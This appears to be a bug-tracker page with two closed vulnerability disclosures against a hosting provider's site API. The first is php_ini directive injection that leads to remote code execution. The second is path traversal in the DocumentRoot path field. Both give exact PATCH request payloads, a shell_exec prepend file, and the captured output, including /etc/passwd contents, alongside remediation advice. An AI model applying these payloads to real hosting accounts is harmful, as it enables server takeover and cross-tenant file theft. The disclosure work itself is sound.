All Projects

ID Status Summary Opened by
 410 Closed Unrestricted PHP ini Directive Injection via php_ini fi ...saini Task Description

TITLE: Unrestricted PHP ini Directive Injection via `php_ini` field leads to

     Remote Code Execution (RCE)

MODULE: Site Management (API)

SEVERITY: CRITICAL (CVSS 3.1: 9.8)

SUMMARY

The `php_ini` field in the Site Management API (PATCH /v1/site/{id}/) accepts
arbitrary PHP ini directives with NO validation or sanitization. An attacker
with API access can inject directives such as `auto_prepend_file` to execute
arbitrary PHP code on every PHP page request.

Additionally:
- `open_basedir` is NOT set (no filesystem restriction)
- `shell_exec()`, `exec()`, `system()`, `passthru()` are NOT disabled
- The PHP configuration applies immediately without a restart
- PHP-FPM runs as the authenticated user (uid=534062, saini)

This allows an authenticated attacker to achieve FULL remote code execution
on the server, running system commands as the account user, reading/writing
any file the user has access to, and installing persistent backdoors.

STEPS TO REPRODUCE

Prerequisites:
- A valid alwaysdata API token with account access
- An existing PHP site (site_id known)
- SSH/FTP access to write a PHP file (or existing PHP file in DocumentRoot)

Step 1: Verify the site accepts PHP execution

Access any PHP file in the DocumentRoot:

GET /info.php HTTP/1.1
Host: victim.alwaysdata.net
Response: 200 OK
MAIN_SCRIPT_EXECUTED

PHP execution is confirmed.

Step 2: Create a PHP prepend file that executes a system command

Write a file (e.g., via SSH or FTP) to the account's home directory:

File: /home/{account}/www/cmd_prepend.php
Content:
  <?php echo "CMD:" . shell_exec("id 2>&1") . "|";

Step 3: Inject auto_prepend_file via the php_ini field

Request:

PATCH /v1/site/1060051/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <base64-encoded-credentials>
Content-Type: application/json
alwaysdata-synchronous: 1
Accept: application/json
{"php_ini":"auto_prepend_file = /home/saini/www/cmd_prepend.php"}

Response: 204 No Content

The directive is accepted verbatim with NO validation.

Step 4: Access any PHP page to trigger code execution

Request:

GET /info.php HTTP/1.1
Host: victim.alwaysdata.net
Accept: text/html

Response: 200 OK

CMD:uid=534062(saini) gid=489542(saini) groups=489542(saini)|MAIN_SCRIPT_EXECUTED

The PHP ini directive was applied and the system command `id` executed
successfully, returning the user and group IDs. This confirms arbitrary
code execution on the server.

Step 5: Restore original configuration

Request:

PATCH /v1/site/1060051/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <base64-encoded-credentials>
Content-Type: application/json
alwaysdata-synchronous: 1
Accept: application/json
{"php_ini":""}

Response: 204 No Content

ADDITIONAL TESTS AND FINDINGS

Test A: Verify no open_basedir restriction

A PHP script was executed to check security restrictions:

Output:
  /tmp: WRITABLE | READABLE
  /: NOT_WRITABLE | READABLE
  CWD: /home/saini/www
  USER: saini
  TMP: /home/saini/admin/tmp
  OPEN_BASEDIR:                    ↠EMPTY - NO RESTRICTION
  DOCROOT: /home/saini/www/

No open_basedir is configured, allowing PHP to access any path the user
has filesystem permissions for.

Test B: Verify dangerous functions are not disabled

All of the following functions were confirmed working:

  1. shell_exec() → executes system commands
  2. exec() → executes system commands
  3. system() → executes system commands
  4. passthru() → executes system commands
  5. file_get_contents() → reads any file
  6. file_put_contents() → writes to any writable path
  7. popen() → executes system commands
  8. proc_open() → executes system commands

Test C: The php_ini directive takes effect immediately

No server restart or PHP-FPM reload was required. The directive was applied
and reflected in the very next HTTP request.

Test D: auto_prepend works from any path accessible to PHP


The auto_prepend_file directive was tested with files in multiple locations:

  1. /home/{account}/www/prepend.php → WORKS
  2. Absolute paths are resolved correctly

IMPACT

An attacker with API access can achieve FULL REMOTE CODE EXECUTION on the
alwaysdata shared hosting server, with the following capabilities:

1. EXECUTE ARBITRARY SYSTEM COMMANDS

  1. Run any shell command as the account user
  2. Install backdoors, malware, cryptominers
  3. Launch attacks against internal network services

2. READ/WRITE ANY FILE

  1. Read database configuration files, credentials
  2. Modify existing PHP files to include persistent backdoors
  3. Access other users' files if permissions allow
  4. Read application source code and secrets

3. PERSISTENT ACCESS

  1. Create new PHP files in the web directory
  2. Modify .htaccess or Apache configuration
  3. Set up cron jobs or other persistence mechanisms
  4. Exfiltrate data to external servers

4. PIVOT TO INTERNAL SERVICES

  1. Access MySQL/MariaDB, PostgreSQL, Redis, or other local services
  2. Read local network configuration
  3. Potentially access cloud metadata endpoints (169.254.169.254)

5. COMBINATION WITH PATH TRAVERSAL

  1. When combined with the path traversal vulnerability (ALW-SITE-002),

the attacker can set DocumentRoot to / and execute PHP code at the

   same time, amplifying the attack surface significantly.

CVSS 3.1 SCORE

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base Score: 9.8 (CRITICAL)

Attack Vector: Network (AV:N) - Exploitable remotely via API Attack Complexity: Low (AC:L) - Simple PATCH request
Privileges: Low (PR:L) - Requires valid API token
User Interaction: None (UI:N) - No victim action needed
Scope: Unchanged (S:U) - Within account boundaries
Confidentiality: High (C:H) - Read any file, execute commands
Integrity: High (I:H) - Write/modify any file
Availability: High (A:H) - Can delete files, disrupt service

Note: Scope is "Unchanged" because the execution runs as the authenticated
user. If the attacker can read other users' data (cross-tenant), Scope
would be "Changed" and score would increase to 10.0 (CRITICAL).

REMEDIATION RECOMMENDATION

1. IMPLEMENT DIRECTIVE ALLOWLIST

  1. Only allow safe PHP ini directives such as:
    1. memory_limit, upload_max_filesize, post_max_size
    2. max_execution_time, max_input_time
    3. date.timezone, error_reporting
  2. Block dangerous directives:
    1. auto_prepend_file, auto_append_file
    2. disable_functions, disable_classes
    3. open_basedir, allow_url_include
    4. extension_dir, extension
    5. error_log (to prevent log injection)

2. ENFORCE OPEN_BASEDIR

  1. Always set open_basedir to restrict PHP to the account's home

directory, preventing access to system files and other users' data.

3. DISABLE DANGEROUS FUNCTIONS AT THE PHP-FPM POOL LEVEL

  1. Add disable_functions = shell_exec, exec, system, passthru, popen,

proc_open, pcntl_exec to the account's PHP-FPM pool configuration.

  1. This should NOT be overridable through the php_ini field.

4. INPUT VALIDATION

  1. Validate that the php_ini field only contains approved directives.
  2. Reject any input containing "=" assignments for unapproved directives.
  3. Parse the input server-side and apply only allowed values.

5. SERVER-LEVEL FIX (DEFENSE IN DEPTH)

  1. In the PHP-FPM pool configuration, set:

php_admin_value[auto_prepend_file] = none

   php_admin_value[open_basedir] = /home/{account}/
 - php_admin_value directives CANNOT be overridden by user-level ini
   directives, providing a secure baseline.
 409 Closed Path Traversal in site path field leads to arbitrary fi ...saini Task Description

TITLE: Path Traversal in Site Management `path` field allows reading arbitrary

     system files via DocumentRoot manipulation

SEVERITY: HIGH (CVSS 3.1: 7.7)

SUMMARY

The `path` field in the Site Management API (PATCH /v1/site/{id}/) accepts
arbitrary directory traversal sequences (e.g., `../../../../`) with NO
canonicalization or validation. This allows an authenticated attacker to set the
Apache DocumentRoot to any directory on the filesystem, enabling read access to
ANY world-readable file on the server via HTTP GET requests.

Since the `path` change takes effect WITHOUT a server restart, the attacker can
immediately read files by accessing the site's URL after updating the path.

This also enables cross-tenant data access — any file on the server that is
world-readable (including files in shared /tmp, system configuration files, and
potentially other users' data with loose permissions) can be retrieved.

STEPS TO REPRODUCE

Prerequisites:
- A valid alwaysdata API token with account access
- An existing site (site_id known)

Step 1: Get the current site configuration to confirm baseline

Request:

GET /v1/site/1060051/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <base64-encoded-credentials>
Accept: application/json

Response: 200 OK

{
  "id": 1060051,
  "path": "www/",
  "addresses": ["victim.alwaysdata.net/"],
  ...
}

Step 2: PATCH the site with a path traversal payload

Request:

PATCH /v1/site/1060051/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <base64-encoded-credentials>
Content-Type: application/json
alwaysdata-synchronous: 1
Accept: application/json
{"path":"../../../../"}

Response: 204 No Content

The `path` "../../../../" resolves from /home/{account}/www/ to the
filesystem root (/), setting DocumentRoot to /.

Step 3: Access a system file via the site URL

Request:

GET /etc/passwd HTTP/1.1
Host: victim.alwaysdata.net
Accept: */*

Response: 200 OK

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
... (full /etc/passwd contents returned)

The file /etc/passwd was served as a static file through Apache with no
authentication or access control applied.

Step 4: Confirm the change is immediate (no restart required)

No server restart or reload was required. The path change is reflected in the
next HTTP request, confirming that the DocumentRoot is dynamically regenerated.

Step 5: Restore original path


Request:

PATCH /v1/site/1060051/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <base64-encoded-credentials>
Content-Type: application/json
alwaysdata-synchronous: 1
Accept: application/json
{"path":"www/"}

Response: 204 No Content

EVIDENCE

Evidence 1: API acceptance of path traversal payload

PATCH request with path "../../../../" returned 204 No Content, confirming
the value was accepted without any canonicalization or rejection.

Evidence 2: Successful read of /etc/passwd via web

HTTP GET /etc/passwd returned 200 OK with the full contents of the system
password file (1764 bytes), including all 35 system users:
- root, daemon, bin, sys, sync, games, man, mail, news, uucp
- proxy, www-data, backup, list, irc, _apt, nobody
- systemd-network, messagebus, sshd, munin, and more

Evidence 3: No restart required

The path change was reflected immediately in the very next HTTP request,
with no restart or reload needed.

IMPACT

An attacker with API access (valid account credentials) can:

1. Read ANY world-readable file on the server, including:

  1. System configuration files (/etc/passwd, /etc/shadow if readable)
  2. Application configuration files
  3. Database credentials in config files
  4. Other users' files with loose permissions
  5. SSL/TLS certificates and private keys
  6. Source code deployed on the server

2. Access files in /tmp/ that belong to other users on the same server

 (cross-tenant data leakage).

3. Map the internal server structure, enumerate users, and find sensitive

 information for further attacks.

4. The attack requires no user interaction and no unusual preconditions

 beyond valid API credentials.

This vulnerability can be combined with other site management weaknesses
(such as unrestricted php_ini directive injection) for code execution,
amplifying the impact to full server compromise

CVSS 3.1 SCORE

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Base Score: 7.7 (HIGH)

Attack Vector: Network (AV:N) - Exploitable remotely
Attack Complexity: Low (AC:L) - Simple PATCH request
Privileges: Low (PR:L) - Requires valid API token
User Interaction: None (UI:N) - No victim action needed
Scope: Changed (S:C) - Reads files outside account boundary
Confidentiality: High (C:H) - System files accessible
Integrity: None (I:N) - Read-only
Availability: None (A:N) - No DoS impact

REMEDIATION RECOMMENDATION

1. Canonicalize the `path` input and verify it resolves to a path WITHIN the

 account's allowed directory (e.g., /home/{account}/).

2. Reject any path that contains directory traversal sequences (../ or ..\)

 or resolves outside the allowed base directory.

3. Apply allowlist validation: only allow known-safe subdirectory names

 (e.g., "www/", "public/", "htdocs/") rather than accepting arbitrary paths.

4. Implement server-side path normalization using realpath() or equivalent

 to resolve symlinks and traversal sequences before accepting the path.
Showing tasks 1 - 2 of 2 Page 1 of 1

Available keyboard shortcuts

Tasklist

Task Details

Task Editing